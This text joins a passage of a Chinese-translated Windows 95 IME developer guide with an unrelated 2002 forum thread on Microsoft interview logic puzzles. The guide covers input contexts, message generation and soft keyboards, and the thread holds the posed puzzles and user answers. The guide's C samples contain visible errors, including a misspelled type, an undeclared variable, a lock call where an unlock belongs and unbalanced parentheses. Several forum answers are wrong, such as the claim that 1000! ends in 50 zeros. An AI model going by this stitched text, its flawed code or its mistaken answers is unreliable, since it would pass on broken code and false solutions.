某些情况下，IME可能需要自己创建输入上下文的一个部件，这种情况下，IME可以调用ImmCreateIMCC函数获取IMCC的句柄，这个IMCC可以是INPUTCONTEXT结构的成员（hCompStr、hCandInfo、hGuideLine、hPrivate或者hMsgBuf）。

ImmDestroyIMCC清除输入上下文的一个部件。

⑶怎样使用输入上下文

下面的实例显示了怎样使用输入上下文

LPINPUTCONTEXT lpIMC;

LPCOMOSITIONSTRING lpCompStr;

HIMCC hMyCompStr;

if (hIMC) { // It is not NULL context.

lpIMC = ImmLockIMC(hIMC);

if (!lpIMC) {

MyError( "Can not lock hIMC");

return FALSE;

}

// Use lpIMC->hCompStr.

lpCompStr = (LPCOMPOSITIONSTRING) ImmLockIMCC(lpIMC->hCompStr);

// Access lpCompStr.

ImmUnlockIMCC(lpIMC->hCompStr);

// ReSize lpIMC->hCompStr.

if (!(hMyCompStr = ImmReSizeIMCC(lpIMC->hCompStr,dwNewSize)) {

MyError("Can not resize hCompStr");

ImmUnlockIMC(hIMC);

return FALSE;

}

lpIMC->hCompStr = hMyCompStr;

ImmUnlockIMC(hIMC);

}

四、生成消息

IME需要生成IME消息。当IME开始转换时，IME必须生成WM_IME_STARTCOMPOSITION消息，如果IME改变了写作字符串，IME必须生成WM_IME_COMPOSITION消息，IME引发的事件导致生成消息给与输入上下文进行交互的窗口。IME基本上使用ImeToAsciiEx函数参数提供的lpdwTransKey缓冲区生成消息，当ImeToAsciiEx函数被调用时IME存储消息到lpdwTransKey缓冲区中，不过即使ImeToAsciiEx函数没有被调用，IME也可以生成消息给使用输入上下文的消息缓冲区与输入上下文交互的窗口。输入上下文有一个内存块的句柄作为消息缓冲区，IME存储消息到被消息缓冲区句柄提供的内存块中，以后IME调用ImmGenerateMessage函数，ImmGenerateMessage函数发送保存在消息缓冲区中的消息到适当的窗口。

1、在ImeToAsciiEx函数中使用消息缓冲区

下面的实例显示了怎样通过传递缓冲区到ImeToAsciiEx函数生成消息：

UINT ImeToAsciiEx(uVirKey, uScanCode, lpbKeyState, lpdwTransBuf,

fuState , hIMC )

{

DWORD dwMyNumMsg = 0;

.

.

.

// Set the messages that the IME needs to generate.

*lpdwTransBuf++ = (DWORD) msg;

*lpdwTransBuf++ = (DWORD) wParam;

*lpdwTransBuf++ = (DWORD) lParam;

// Count the number of the messages that the IME needs to generate.

dwMyNumMsg++;

.

.

.

return dwMyNumMsg;

}

系统提供lpdwTransBuf参数指定的缓冲区，IMEToAsciiEx函数可以一次存储所有的消息到该缓冲区中，缓冲区的第一个双字给出存储在缓冲区中的消息个数。如果ImeToAsciiEx函数需要生成比这个给定的个数更多的消息，函数可以存储所有的消息到输入上下文的hMsgBuf域中，然后函数ImeToAsciiEx返回消息个数。当ImeToAsciiEx函数的返回值大于lpdwTransBuf中指定的值时，系统不从lpdwTransBuf中取出消息，系统查找作为ImeToAsciiEx函数参数传递的输入上下文中的hMsgBuf域。

2、使用消息缓冲区

下面的实例显示了怎样使用消息缓冲区：

MyGenerateMesage(HIMC hIMC, UINT msg, WPARAM wParam, LPARAMlParam)

{

LPINPUTCONTEXT lpIMC;

HGLOBAL hTemp;

LPDWORD lpdwMsgBuf;

DWORD dwMyNumMsg = 1;

// Lock the input context.

lpIMC = ImmLockIMC(hIMC);

if (!lpIMC)

// Error!

// re-allocate the memory bloack for the message buffer.

hTemp = ImmReSizeIMCC(lpIMC->hMsgBuf,

(lpIMC->dwNumMsgBuf + dwMyNumMsg) * sizeof(DWORD) * 3);

if (!hTemp)

// Error!

lpIMC->hMsgBuf = hTemp;

// Lock the memory for the message buffer.

lpdwMsgBuf = ImmLockIMCC(lpIMC->hMsgBuf);

if (!lpdwMsgBuf)

// Error!

lpdwNumMsgBuf += 3 * lpIMC->dwNumMsgBuf.

// Set the number of the messages.

lpIMC->dwNumMsgBuf += dwMyNumMsg;

// Set the messages that the IME needs to generate.

*lpdwMsgBuf++ = (DWORD) msg;

*lpdwMsgBuf++ = (DWORD) wParam;

*lpdwMsgBuf++ = (DWORD) lParam;

// Unlock the memory for the message buffer and the input context.

ImmUnlockIMCC(lpIMC->hMsgBuf);

ImmLockIMC(hIMC);

// Call ImmGenerateMessage function.

ImmGenerateMessage(hIMC);

}

3、WM_IME_COMPOSITION消息

当IME生成WM_IME_COMPOSITION消息时，IME指定lParam参数为GCS位。GCS位的意义是COMPOSITIONSTRING结构中的有效成员，即使IME没有更新，成员目前仍然有效，IME也会设置GCS位。

为IME定义服务

当IME生成WM_IME_COMPOSITION消息时，IME可能会立刻改变字符串、属性以及子句信息。IME使用下列定义：

GCS_COMP

GCS_COMPREAD

GCS_RESULT

GCS_RESULTREAD

五、关于ImeSetCompositionString函数

1、ImeSetCompositionString函数能力

如果IME没有ImeSetCompositionString函数能力，IME将不能在IMEINFO结构中指定任何SCS能力。如果IME可以处理ImeSetCompositionString函数，IME设置SCS_COMPSTR位。如果IME可以通过写作字符串生成解释（本文中的“解释”是单词“reading”的直译，真正意义可能是“原始输入的”，例如输入的汉语拼音字母字符串，下同）字符串，IME可以设置SCS_CAP_MAKEREAD位。

如果IME有SCS_CAP_COMPSTR能力，ImeSetCompositionString函数将被调用，IME从应用程序获取新的写作字符串并生成WM_IME_COMPOSITION消息。

如果IME有SCS_CAP_MAKEREAD能力，IME可以通过写作字符串建立解释字符串。

2、关于SCS_SETSTR

如果ImeSetCompositionString函数的dwIndex参数值为SCS_SETSTR，IME可以清除hIMC中的COMPOSITIONSTR结构中所有的域。

如果IME需要，IME可以更新候选信息并生成候选消息IMN_OPENCANDIDATE、IMN_CHANGECANDIDATE或者IMN_CLOSECANDIDATE。

如果ImeSetCompositionString函数的lpRead参数有效，IME应该通过lpRead参数中的解释字符串建立写作字符串，另外IME为新的写作字符串和lpRead参数中的解释字符串建立属性和子句信息，IME生成lParam参数为（GCS_COMP|GCS_COMPREAD）的WM_IME_COMPOSITION消息。有时IME需要自动确定建立上述信息，这种情况下，IME可以生成lParam参数以（GCS_RESULT|GCS_RESULTREAD）代替GCS_COMPxxx的消息。

如果ImeSetCompositionString函数的lpComp参数有效，IME应该通过lpComp参数中的写作字符串建立写作属性和子句信息，IME生成lParam参数为GCS_COMP的WM_IME_COMPOSITON消息。如果IME有SCS_CAP_MAKEREAD能力，IME应该同时建立解释字符串，IME生成lParam参数为（GCS_COMP|GCS_COMPREAD）的WM_IME_COMPOSITION消息。有时IME需要自动确定建立上述信息，这种情况下，IME可以生成lParam参数以（GCS_RESULT|GCS_RESULTREAD）代替GCS_COMPxxx的消息。

如果lpRead参数和lpComp参数同时有效，IME应该建立写作字符串和解释字符串，这时IME不需要完全按照lpRead参数和lpComp参数。如果IME不能建立应用程序指定的lpRead参数和lpComp参数之间的关系，IME应该修正写作字符串，IME为新的写作字符串和lpRead参数指定的解释字符串建立属性和子句信息，IME生成lParam参数为（GCS_COMP|GCS_COMPREAD）的WM_IME_COMPOSITION消息。有时IME需要自动完成建立上述信息，这种情况下，IME可以生成lParam参数以（GCS_RESULT|GCS_RESULTREAD）代替GCS_COMPxxx的消息。

3、关于SCS_CHANGEATTR

SCS_CHANGEATTR只影响属性信息，IME不应该更新写作字符串、写作字符串的子句信息、写作字符串的解释以及写作字符串的解释子句信息。

首先IME检查新的属性并判断新的属性是否可用，然后IME设置属性到hIMC中的COMPOSITIONSTRING结构中，最后IME生成WM_IME_COMPOSITION消息。

如果需要，IME可以更新候选信息并生成候选消息IMN_OPENCANDIDATE、IMN_CHANGECANDIDATA、IMN_CLOSECANDIDATE。

IME不能确定写作字符串。

如果ImeSetCompositionString函数的lpRead参数有效，IME使用lpRead参数中的新属性。IME也应该为当前写作字符串建立写作字符串的新属性，这时子句信息不被修改。

写作字符串、属性、子句信息、解释字符串、解释属性和解释子句信息必须有效。IME生成lParam参数为（GCS_COMP|GCS_COMPREAD）的WM_IME_COMPOSITION消息，如果IME不能接受lpComp参数中的新属性，IME不需要生成任何消息并返回FALSE。

如果ImeSetCompositionString函数的lpComp参数有效，IME使用lpComp参数中的新属性，这时子句信息不被修改。

如果IME有SCS_CAP_MAKEREAD能力，并且解释字符串有效，IME应该为当前写作字符串的解释建立写作字符串的解释的新属性。

如果lpRead参数和lpComp参数同时有效，并且如果IME能够接受新的信息，IME设置新的信息到hIMC中的COMPOSITION结构中并生成lParam参数为（GCS_COMP|GCS_COMPREAD）的WM_IME_COMPOSITION消息。

4、关于SCS_CHANGECLAUSE

SCS_CHANGECLAUSE影响写作字符串和写作字符串的解释的字符串和属性。

如果需要，IME可以更新候选信息并生成候选消息IMN_OPENCANDIDATE、IMN_CHANGECANDIDATA、IMN_CLOSECANDIDATE。

IME不能确定写作字符串。

如果ImeSetCompositionString函数的lpRead参数有效，IME使用lpRead参数中的解释子句信息。IME必须修正写作字符串的解释的属性，IME可以更新写作字符串、属性和写作字符串的子句信息，IME生成lParam参数为（GCS_COMP|GCS_COMPREAD）的WM_IME_COMPOSITION消息。

如果ImeSetCompositionString函数的lpComp参数有效，IME使用新的子句信息。IME必须修正写作字符串和写作字符串的属性，IME可以更新解释属性和解释的子句信息，IME生成lParam参数为（GCS_COMP|GCS_COMPREAD）的WM_IME_COMPOSITION消息。

如果lpRead参数和lpComp参数同时有效，并且如果IME能够接受新的信息，IME设置新的信息到hIMC中的COMPOSITION结构中并生成lParam参数为（GCS_COMP|GCS_COMPREAD）的WM_IME_COMPOSITION消息。

六、软键盘

1、关于软键盘

一些IME有特殊的解释字符，例如一个IME可能使用注音符号作为解释字符（这里指台湾中文版Windows 95，即CWin95中的注音符号，PWin95中可能指汉语拼音字母或者音调符号——译者注），另一个IME使用了一些字根符号（原文单词是“radials”，但实际可能是“radicals”——译者注）作为解释字符，IME可以提供一个软键盘显示这些特殊解释字符使得用户不必逐键记忆解释字符。

IME需要根据不同的变换状态改变键表示的解释字符，使用软键盘可以通知用户键的改变。在选择候选字时，IME可以只显示那些选择键给用户。

2、使用软键盘

IME可能需要为软键盘创建一个更好的用户界面，或者可能需要系统预定义的软键盘，如果IME需要使用系统预定义的软键盘，IME需要在调用ImeInquire函数时将IMEINFO结构的fdwUICaps成员指定为UI_CAP_SOFTKBD。

IME可以调用ImmCreateSoftKeyboard函数为软键盘创建窗口，还可以调用ImmShowSoftKeyboard函数显示或者隐藏软键盘。软键盘窗口是UI窗口的一个组件，所以软键盘窗口应该附属于UI窗口。

IME可能需要决定是否在无论何时焦点移走的情况下删除窗口，软键盘可能占有一些系统资源（可能需要释放——译者注）

软键盘有不同的类型，一种类型可能是为特定的国家或者特定的目的设计的。为每一种类型的软键盘改变解释字符的方式可能不同，有两种改变解释字符的方式：使用IMC_SETSOFKBDSUBTYPE或者IMC_SETSOFKBDDATA。不同类型的软键盘有不同的窗口过程并存在不同的用户界面给用户。

七、IME接口

在Windows 95中，IME与设备驱动程序一样是动态链接库（DLL），输入法管理器（IMM）应该处理所有安装的IME。因为IME在运行时是可以改变的，不需要重新启动系统，IMM有一个结构用于维护每一个IME的所有入口点。

IME函数列表是所有远东版本Windows 95公共IME功能函数的描述，这些函数不应该在应用程序中直接调用。

UI窗口中的IMM函数

下面是可以在UI窗口中调用的IMM函数：

ImmGetCompositionWindow

ImmSetCompositionWindow

ImmGetCandidateWindow

ImmSetCandidateWindow

ImmGetCompositionString

ImmSetCompositionString

ImmGetCompositionFont

ImmSetCompositionFont

ImmGetNumCandidateList

ImmGetCandidateList

ImmGetGuideLine

ImmGetConversionStatus

ImmGetConversionList

ImmGetOpenStatus

ImmSetConversionStatus

ImmSetOpenStatus

ImmNotifyIME

ImmCreateSoftKeyboard

ImmDestroySoftKeyboard

ImmShowSoftKeyboard

在www.driverdevelop.com上的文章。


微软面试试题精选
主　　题：微软面试试题精选--9道！答对一道就可根据难度得分。共300分！

作　　者：chutium

所属论坛：数据算法

问题点数：300

回复次数：126

发表时间：2002-1-21 12:38:59

微软面试试题选

By 阿新（Seraph Chutium）-- http://com.6to23.com/

=============================================================================

这些都是去年看了《程序员》杂志后，从以前的试题中找来出给当时的同学们做的。现在传上来，看看大家会不会做。目前所有试题都已经做出正确解答，稍后会公布出来。

说明：题号前面的*表示编者认为的试题难度，最高为***（是我没做出来~）；没有*的表示极简单。

以下各题均无正确解答，答案都是编者自己想的（最后一题至今未做出），

题后所注正常解题时间均以本人解题时间为参考，

如：30s ~ 2min 意为：本人解题时间在30秒到2分钟之间。

本人并不认为自己能力超长（或超弱），故定为正常解题时间。

=================================================================================

一．阶梯测试（最后一题难度较大*很大，前两题难度相应递减）

①走到一条岔路上，前面遇到两个人，一个人永远说真话，一个人永远说假话，你并不知道谁说真话谁说假话，只许问其中一个人一句话，就知道该往那里走了。

  （正常解题时间：30s ~ 2min）

②三个带着自己的一个孩子过河，只有一条船，每次只能载两个单位，当大人不在身边的时候，如果小孩身边有别的大人，那他（她）就有危险，

  问：如何能在没有危险的情况下顺利过去。

  注意：船回来的时候至少得有一个单位在上面。

  （正常解题时间：1min ~ 5min）

**③12个球一个天平，现知道只有一个和其它的重量不同，问怎样称才能用三次就找到那个球。13个呢？

  （正常解题时间：20min ~ 60min ，本人将近40分钟做出正确解答）

==================================================================================

二．微软面试题分类精选（部分试题参考《程序员》杂志试刊一。均为本人自己解答，答案稍后公布）

Ⅰ. 微软试题-基础理论运用能力

①一火车，以15km/h从L.A.开往N.Y.，另一以20km/h从N.Y.开往L.A.；

  一只鸟从Los以30km/h与两车同时出发，遇到另一火车后返回，并往复至两车相遇，求其运动位移及路程。

  （正常解题时间：5min ~ 10min）

---------------------------------------------------------------------------------

Ⅱ. 微软试题-逻辑思维能力

②有足量红黄蓝小球放在同一容器中，现需取2个颜色相同的，最少要取几个。

  （正常解题时间：1s ~ 10s）

③足量水，3ml，5ml容器各一，如何测4ml水。

  （正常解题时间：20s~40s）

-----------------------------------------------------------------------------------

Ⅲ. 微软试题-知识迁移能力

*④足量水，3ml，5ml容器各一，如何通过它们确定出所有正常数体积的水。（不能用 1 ml 来拼凑）

  （此题是我自编的一道难度较上题稍有提高的联系实际题，想想日常生活中哪些是可以确定所有正常数量的。正常解题时间：20s ~ +∞）

-----------------------------------------------------------------------------------

Ⅳ. 微软试题-实际生活综合能力

*⑤4个装了药丸的容器，正常药丸质量一定；其中一容器中全装的变质药丸，其质量为正常药丸质量+1。只称一次，如何判断那一容器中药丸变质。

  （正常解题时间：10s ~ +∞）

***⑥工人为你工作7天，回报为一根金条（既然说是金条，应该就不能将其弯曲吧？），

     必须在每天付给他们一段，且只能截2次，你将如何付费？

    （本人目前未得到正解，解题时间暂定为 +∞） ((发贴时已经做出来了，不是很难。))

==================================================================================

这些都是没有标准答案的，我说的答案也只是我一人想出来的，不见得都是最优解答，希望大家踊跃讨论，寻求最优的解答。我的答案将在下周传到我的主页上-- http://com.6to23.com/

回复人：　gcd0318(gcd0318)　(2002-1-21 14:05:51) 得0分

最后一个这样：分为1、2、4三段。这个是计算机人员的直觉：二进制。

二·4是图论题，设三维向量，后2个是3和5的0或1倍。在图形里找通路就能决定是否可能得到某个体积。原理上：gcd（3，5）=1，所以能够得到4，于是4-3=1，可以得到任何体积。

但是4如何得到？一样是图论解决。发那法类似。

二·1是小学生计算题。

一·3：12=4+4+4，4=1+1+2。13=4+4+5，5=2+2+1

随手写的。

回复人：　Smile_Tiger(笑面虎)　(2002-1-21 14:24:00) 得0分

一① 问甲："如果乙说的话，他会说往哪条路走？"，若甲回答左，则走右，回答右，则走左

二Ⅰ① 先求得两火车相遇所需要的时间，这个时间也是鸟总共飞行的时间，然后根据鸟的速度求得

二Ⅱ② 2个

二Ⅱ③ 装3 -> 3装5 -> 装3 -> 3装5(3余1) -> 倒5 -> 3装5(5余1) -> 装3 -> 3装5(5余4)

回复人：　nm_csdn_0()　(2002-1-21 15:05:28) 得0分

金条那题最简单7＝4＋2＋1

第一天：你给工人1

第二天：你给工人2，工人给你1

第三天：你再给工人1，

第四天：你给工人4，工人给你2＋1

第五天：你再给工人1

第六天：你给工人2，工人给你1

最后一天：你把手里的最后一小块1给工人

^_^

回复人：　nm_csdn_0()　(2002-1-21 15:22:25) 得0分

第一题也简单，就是把两个人的大脑，当成两个逻辑门，一个是真门，一个是假门。他们总是知道正确的答案，然后通过自己的门，说出相应真的或者假的的答案。让一个正确的答案，既通过第一个人的门，又通过第二个人的门，而与通过的顺序无关，最后出来的就一定是假的了！呵呵

回复人：　Smile_Tiger(笑面虎)　(2002-1-21 17:06:30) 得0分

to nm_csdn_0():

哇。。。。。。。。。。。好CoooooooL的思维！！

回复人：　pippo(Jiang)　(2002-1-22 11:43:42) 得0分

恩，nm_csdn_0()有想法！

回复人：　chutium(Seraph·Chutium)　(2002-1-22 11:52:41) 得0分

哇，大家这么厉害呀，那道分金子的答案是对的。

（看来想出来得还是少数呀……嘿嘿）

那道分水的东西没那么复杂，想想日常生活中的例子。

：　Smile_Tiger(笑面虎)

的 二Ⅱ② 2个 我觉得是错的。可以说说取两个怎么确定的吗？

有三个颜色的小球呀，需取2个颜色相同的，只取两个就可以了吗？不会吧。:)

回复人：　emlishun(emlishun)　(2002-1-22 12:01:20) 得0分

十二个求分成两组6A+6B

每组分为2a+2b+2c

现做第一组if 2a=2b then 称2c

回复人：　emlishun(emlishun)　(2002-1-22 12:04:02) 得0分

四个罐 A B C D

各取 1a 2b=1c 2d

看那边沉 沉几个单位

回复人：　emlishun(emlishun)　(2002-1-22 12:06:26) 得0分

最少取4个可保证有两个一样的

回复人：　mahongtao(痴呆)　(2002-1-22 13:46:29) 得0分

到水问题

先把5ml的装满，然后到满3ml，5ml的容器余2ml，然后把3ml的水倒掉，将5ml容器剩下的2ml到近3ml里边，然后装满5，在到满3ml，5ml的容器里边就只剩了4ml

回复人：　huang765181881(白云飘飘)　(2002-1-22 14:12:32) 得0分

倒水问题解决法2：

先把3ml装满，倒进5ml,再装满把5ml倒满，这样，3ml容器里面只剩1ml了

把5ml倒掉。把这1ml倒进5ml,再装满3ml倒进去

回复人：　pop4444()　(2002-1-22 15:11:26) 得0分

第三大题倒水

足量水，3ml，5ml容器各一，如何通过它们确定出所有正常数体积的水。（不能用 1 ml 来拼凑）

  你是说正常数吗？

12345678

回复人：　chutium(Seraph·Chutium)　(2002-1-22 16:30:27) 得0分

：　emlishun(emlishun)

取4个球回答正确。那个罐子的，我开始也这么想的，可是现实中不行的，怎么知道一边比另一边重几个单位呢？思路已经很接近了。

：　mahongtao(痴呆)　倒水的第一个应该是没问题的，这个比较简单。

：　pop4444()　不好意思，我没说清楚，怎么在最短的时间内，能确保可以确定出所有正常数体积的水。要是一个一个的倒是不是有点麻烦了。

还是那句话，这个问题是和生活实际有联系的……

回复人：　CaoHua(曹华)　(2002-1-23 2:26:11) 得0分

一①

问其中一个人："如果我问另一个人，他会说往哪条路走？"，正确的答案就是和他的回答相反。

二Ⅰ①

先求得两火车相遇所需要的时间，这个时间也是鸟总共飞行的时间，然后根据鸟的速度求得

二Ⅱ②

2个

二IV⑤

从第一个容器中取一个药丸，第二个中取两个，第三个中取三个，第四个中取四个。

称出总重，如果比正常的10个药丸重1，就是第一个容器的药丸变质，重2，就是第二个，依次类推。

回复人：　Smile_Tiger(笑面虎)　(2002-1-23 4:01:30) 得0分

--------------------------

引用 chutium(Seraph·Chutium)

的 二Ⅱ② 2个 我觉得是错的。可以说说取两个怎么确定的吗？

有三个颜色的小球呀，需取2个颜色相同的，只取两个就可以了吗？不会吧。:)

-----------------------------------------

二Ⅱ② 它只是说最少需要取几个颜色相同的，并没有说'取的时候不准看'呀之类的话(这是你的思维误区)很显然，如果只取一个，无法达到要求，所以最少要取两个

回复人：　city_tiger(都市老虎)　(2002-1-23 9:40:24) 得0分

http://bros4.top263.net

回复人：　appleandy(12345)　(2002-1-23 10:15:44) 得0分

a1 a2 先过，A1回，B2 C2过，A2回，B1 C1过，B1 B2回，B1 A1过，C2回，过的一便全是小孩， 这样就可一安全够过了。

回复人：　appleandy(12345)　(2002-1-23 10:16:48) 得0分

上面是这到踢的答案

②三个带着自己的一个孩子过河，只有一条船，每次只能载两个单位，当大人不在身边的时候，如果小孩身边有别的大人，那他（她）就有危险，

  问：如何能在没有危险的情况下顺利过去。

  注意：船回来的时候至少得有一个单位在上面。

  （正常解题时间：1min ~ 5min）

回复人：　gggyyy(唧唧歪歪)　(2002-1-23 11:52:37) 得0分

1 ②

设A、B、C为三个大人，a、b、c分别为其所带的小孩(A-a,B-b,C-c)，过桥方法之一：

b,c先过，然后b返回

b,a过河，然后b返回

A,C过河，然后A,a返回

A,B过河，然后c返回

c,b过河，然后b返回

a,b过河。

回复人：　big_welley(你快乐,所以我快乐)　(2002-1-23 12:39:30) 得0分

我昨天晚上在程序员合订本上看到这些题。

3种颜色的小球我觉得是要取4个吧？这样就肯定有2个相同颜色的。原题有闭上眼睛的条件。

其实微软的题目很多我们小时候的暑假、寒假作业上的思考题都有。

回复人：　hiram(minarix)　(2002-1-23 12:47:25) 得0分

一

①问其中一人这样一句话：“甲说（比如另一人是甲），应该往左走，是这样吗？”如果回答是对，则向右走对，否则向左走对。

②设A,a,B,b,C,c。大写表示大人，小写表示孩子

两边集合表示两岸，中间的集合表示船。

{A,a,B,b,C,c}-->{}-->{}

{B,b,C,c}-->{A,a}-->{}

{B,b,C,c}-->{A}-->{a}

{A,B,C}-->{b,c}-->{a}

{A,B,C}-->{c}-->{a,b}

{C,c}-->{A,B}-->{a,b}

{C,c}-->{A,a}-->{B,b}

{a,c}-->{A,C}-->{B,b}

{a,c}-->{b}-->{A,B,C}

{a}-->{b,c}-->{A,B,C}

{a}-->{b}-->{A,B,C,c}

{]-->{a,b}-->{A,B,C,c}

{}-->{}-->{A,a,B,b,C,c}

回复人：　kxzh()　(2002-1-23 12:57:10) 得0分

呵呵，这些题都很有趣，不过好象我的解答时间都不超过半分钟，很多是立即就知道答案了：）

其中天平称小球的题应该是最难的，是我小学一本《智力》杂志上的题，当时我想了好一阵才想出答案，chutium用40分钟做出来应该算是比较快的了吧，其实如果思路对，可能更短的时间就可以。我看基本都有答案了，本想算了，不过有点空，写一点好了：）

1.“请问你旁边的人会告诉我向哪里走？”选与他回答相反的路。（0s）

2.A-a,B-b,C-c;大写为大人，小写为小孩

A-a,A;B-b,B;C-c,C;A-B,A;A-C.船过5次，回4次（20s）

3.以前有这个问题的正确答案，最巧妙的是信息论的答案，大家应该可以找到，不行我再来贴上，我的答案算一般吧，先不写了，如果坛主一定要求我再写：）。

4，如果给出距离s,t= s/(15+20);

位移为15*t,路程为30*t (10s,小学趣味数学有类似的题，一年级时做过）

5 最少2个，确保为4个（10s）

6.3ml桶为A,5ml桶为B,B满倒满A剩2ml.清空A，B的2ml倒入A，B满倒满A，剩4ml（30s）

7.2A-B=1

B-A =2

A=3

4由题6得到

B=5

所有剩下的自然数都可以由以上数字相加得到(30s)

8 4个容器各取1，2，3，4个药丸，重几就是几号容器(10s)

9 截为长1，2，4三段a,b,c。1=a； 2=b； 3=a+b；4=c；5=a+c;6=b+c;7=a+b+c(10s)

回复人：　mrgarfield(愚人)　(2002-1-23 13:07:23) 得0分

嘿嘿……

我没时间做这种题，所以就挑了最后一道题“Ⅳ. ***⑥”来做，看样子好象很难啊。

不过不到一分钟就OK了。

把金条分成1、2、4三等分（总和为7），这样就只要切两次。

在第一天付给工人1份；（1）

第二天，用2份换回工人的一份；（2）

第三天，把1份再给工人；（3）

第四天，再用4份换回工人手里的1份和2份；（4）

第五天，再把1份给工人；（5）

第六天，把2份换回工人手里的1份；（6）

第七天，把1份给工人；（7）

第八天，工人回家了。：）

完了，写答案的时间比解题的时间还长。

MS也不过如此吧！

回复人：　java831(希望)　(2002-1-23 13:13:21) 得0分

1.问其中一人“另一人说向左拐，对么？”答“不对”的为真人，答“对”的为假人。

2.设大人为A,B,C,小孩为a,b,c.

a,A过河。

a返回

B,C过河。

A返回

A,a过河

B返回

B,b过河

C返回

C,c过河

3。好象要知道那个不同的球是轻还是重吧？12 个球和13 个球的方法是一样的。

回复人：　alexzhou(alex)　(2002-1-23 13:13:21) 得0分

2.A-a,B-b,C-c;大写为大人，小写为小孩

A-a,A;A-B,B;B-b,b;b-c,c;c-C.（20s）

回复人：　antypop(驾拖拉机远去)　(2002-1-23 15:10:51) 得0分

上个月我去微软笔试，题很难，有许多概率方面的题，所以我没作，我做了专业知识的卷子。

还有一次在微软面试的时候那人问我1000的阶乘后面有多少零？当时我没想出来。后来才知道答案。

回复人：　chutium(Seraph·Chutium)　(2002-1-23 15:38:34) 得0分

Smile_Tiger(笑面虎)　不好意思，是我那道题没说清楚~（谢谢big_welley(你快乐,所以我快乐)提醒）

CaoHua(曹华)　药丸的终于有人答对了。恭喜……

：　kxzh()

你的速度让我震惊……

还有就是分水的，你答对了！不容易呀！

我是从人民币面值的设置想到的。人民币只有1,2,5元就可以了，所以想到了这道题。

另外，你对第4题的解答很好，我之所以把这道看似小学数学的题出出来，就是因为它的条件不确定，不过如果不给距离的话，还是可以求出位移的其它形式的，有兴趣的朋友可以看看。

说真假话的和那个过河的我想答案并不唯一，不用浪费各位那么多时间，有空的时候试试用最短的时间想出最快的方法就行了。思维训练而已

回复人：　airblue(胖胖)　(2002-1-23 15:46:34) 得0分

回答第三题：

一共12个球，分成3组，

第一次任意两组称一次，会出现两种结果，一，天平水平；二，一高一低。

第一种情况比较简单，只要在四个分成两组，每组两个与其余8个（真）中任意2个组合乘一次就可以了就比较容易了。

现在讨论第二种情况

我们现在定重的一组为A组，轻的一组为B组，另一组为C组。

目前C组中四个球全部是真的。

将C组同A组中的任何一个组合组合为(C+A1),将A组中的其余3个同B组中的任意2个组合成D组。

将(C+A1)和D组放在天平的左右两边乘量，又会出现两种情况，第一平衡，第二不平衡

如果平衡比较简单，B组未乘的两个中有一个为假。

如果不平衡当(C+A1)重的时候，有两种可能，1。A1为假，并偏重 2。B组中加入D组的两个其中一个为假，并偏轻。然后将A1和B组中加入D组的两个任一组合，与两个真的乘，如果真的两个偏轻，则A1为假，如果真的两个偏重则与A1同组的B组中的球为假，如果天平平衡则B组中加入D组的两个而未参加第三次乘重的为假。

如果不平衡当(C+A1)轻的时候，可以判断A组中的剩余3个其中之一为假，知道假球偏重可以乘出来。

以上是12个球的乘法。

至于13个球非常简单，

拿出一个，其余12个方法同上，第一次乘后，如果不平衡比较简单上面已经有方法了，如果平衡，则余下的方法与12个的稍有不同：

将拿出的一个同C组混合，然后取3个与3个真球到天平乘重，如果平衡，其余两个为假，如果不平衡，则3个为假，并且可以判断假球是重还是轻，在乘一次比较容易。

回复人：　jxw2197(昨夜西风凋敝树)　(2002-1-23 16:02:59) 得0分

取球的问题肯定是4个，一想就是吗。谁能保证取三个有两个一样的

回复人：　hao_hang(阿蛋)　(2002-1-23 17:34:22) 得0分

我觉的真话假话的题目不严密：1.没有告诉他们（真话者和假话者）互相认识。2."只许问其中一个人一句话"的条件过于含混。我认为如果默认1成立而得到答案是投机取巧；而在一句话中设置两个问题也未尝不可。

回复人：　yininvar(小猫)　(2002-1-23 17:59:24) 得0分

1、天平的一边4个球

2、如果平，把剩下的4个，2个一组，称，然后在一个一组，就有了结果

3、如果不平，把轻的4个，2个一组，称，然后在一个一组，就有了结果

回复人：　huiqi2001(晦气)　(2002-1-23 18:11:48) 得0分

小猫12球的方法不对！

回复人：　yininvar(小猫)　(2002-1-23 18:12:02) 得0分

更正：上一题的答案是：

做号码标记，先称4个，一边两个，然后如果平了就一边加一个球，如果不平就一边减一个球，最后就可以了

回复人：　huiqi2001(晦气)　(2002-1-23 18:12:29) 得0分

12球和13球是一样的！

回复人：　yininvar(小猫)　(2002-1-23 18:13:04) 得0分

12个13个是一样的

回复人：　huiqi2001(晦气)　(2002-1-23 18:15:45) 得0分

小猫，还是不对！关门放狗！

回复人：　yininvar(小猫)　(2002-1-23 18:17:18) 得0分

再更正，应该是一边4个，平了一边加1个，不平一边减掉原数的一半

回复人：　walkonthesky(李天蝉)　(2002-1-23 18:31:13) 得0分

1000！后有几个0？

回复人：　walkonthesky(李天蝉)　(2002-1-23 18:32:21) 得0分

50个

回复人：　djwinter(winter)　(2002-1-23 18:47:18) 得0分

13的要比12至少多一次！

  yininvar(小猫)

以你的做法，假如把四个球分两组去称明显不平衡，又不知道那个重量不同的是轻是重，因此浪费了一次！

我认为应该这样

在四球中任取两个球称，若

不平衡则从两球中任取一个（1号）（2好为另一个），与剩下的球中的任一个称（3号），若任然不平衡则1号是所求，否则所求为2号

平衡则从两球中任取一个（1号）（2好为另一个），与剩下的球中的任一个称（3号），若任然不平衡则3号是所求，否则所求为4号

13个球的没有仔细分析，但是显然至少要多一次才能称出来

回复人：　djwinter(winter)　(2002-1-23 18:53:10) 得0分

②三个带着自己的一个孩子过河，只有一条船，每次只能载两个单位，当大人不在身边的时候，如果小孩身边有别的大人，那他（她）就有危险，

  问：如何能在没有危险的情况下顺利过去。

  注意：船回来的时候至少得有一个单位在上面。

  （正常解题时间：1min ~ 5min）

设小孩为a,b,c大人为A,B,C

ab过b回来

bB过a回来

AC过A回来

aA过C回来

cC过

完成！！

回复人：　djwinter(winter)　(2002-1-23 19:00:46) 得0分

***⑥工人为你工作7天，回报为一根金条（既然说是金条，应该就不能将其弯曲吧？），

     必须在每天付给他们一段，且只能截2次，你将如何付费？

    （本人目前未得到正解，解题时间暂定为 +∞） ((发贴时已经做出来了，不是很难。))

截2次可以得到3根

分别为1/7, 2/7,4/7，

第一天给1/7

第二天给2/7,还1/7,

第三天再把1/7给他

第四天给4/7，拿回1/7,2/7;

第五天再给1/7………………

回复人：　comingtrue(comingtrue)　(2002-1-23 19:49:28) 得0分

一

1.问其中一个人另一个怎样回答，走其相反的路。

2.

